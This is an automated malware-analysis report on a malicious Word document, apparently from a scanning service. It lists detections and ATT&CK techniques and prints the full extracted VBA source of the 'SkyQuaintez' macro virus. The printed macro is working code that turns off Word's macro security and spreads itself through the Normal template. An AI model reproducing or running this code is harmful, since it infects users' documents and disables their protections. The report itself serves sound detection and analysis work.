MALICIOUS
200
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a malicious Word document containing a VBA macro with an AutoOpen subroutine. This macro attempts to disable security settings and copy itself to the Normal template, indicating an intent to establish persistence and facilitate further malicious activity. The presence of ClamAV detections like Win.Trojan.Psycho-3 and Win.Trojan.wmvg-1 further supports its malicious nature.
Heuristics 4
-
ClamAV: Win.Trojan.Psycho-3 critical CLAMAV_DETECTIONClamAV detected this file as malware: Win.Trojan.Psycho-3
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 2290 bytes |
SHA-256: 6b975dcb909b795567a9f5552bcef4640e2cfaf5a8c08f68bed089e6fad00285 |
|||
|
Detection
ClamAV:
Win.Trojan.wmvg-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "SkyQuaintez"
Sub AutoOpen()
'By Jonathan_Press
'Thanks to LBL85 for letting mr love you
Status = System.PrivateProfileString("", "HKEY_CURRENT_USER", "Sky")
If Status < "0" Then GoTo JustFly
If Status >= "0" Then GoTo Flying
JustFly:
On Error Resume Next
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
End If
Counts1 = NormalTemplate.VBProject.VBComponents.Count
For co1 = 1 To Counts1
If NormalTemplate.VBProject.VBComponents.Item(Counts1).Name = "SkyQuaintez" Then End
Next co1
Application.OrganizerCopy Source:= _
ActiveDocument.FullName, _
Destination:=NormalTemplate.FullName, Name:="SkyQuaintez", Object:= _
wdOrganizerObjectProjectItems
System.PrivateProfileString("", "HKEY_CURRENT_USER", "Sky") = "0"
End
Flying:
CountsCopier = NormalTemplate.VBProject.VBComponents.Count
For cou = 1 To CountsCopier
If NormalTemplate.VBProject.VBComponents.Item(CountsCopier).Name = "SkyQuaintez" Then SkyQuaintezLocation = CountsCopier
CountsCopier = CountsCopier - 1
Next cou
System.PrivateProfileString("", "HKEY_CURRENT_USER", "Sky") = System.PrivateProfileString("", "HKEY_CURRENT_USER", "Sky") + 1
Counts2 = ActiveDocument.VBProject.VBComponents.Count
For co2 = 1 To Counts2
If ActiveDocument.VBProject.VBComponents.Item(Counts2).Name = "SkyQuaintez" Then End
Next co2
NormalTemplate.VBProject.VBComponents.Item(SkyQuaintezLocation).Export "c:\SkyQuaintez.sky"
ActiveDocument.VBProject.VBComponents.Import "c:\SkyQuaintez.sky"
Kill "c:\SkyQuaintez.sky"
End
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.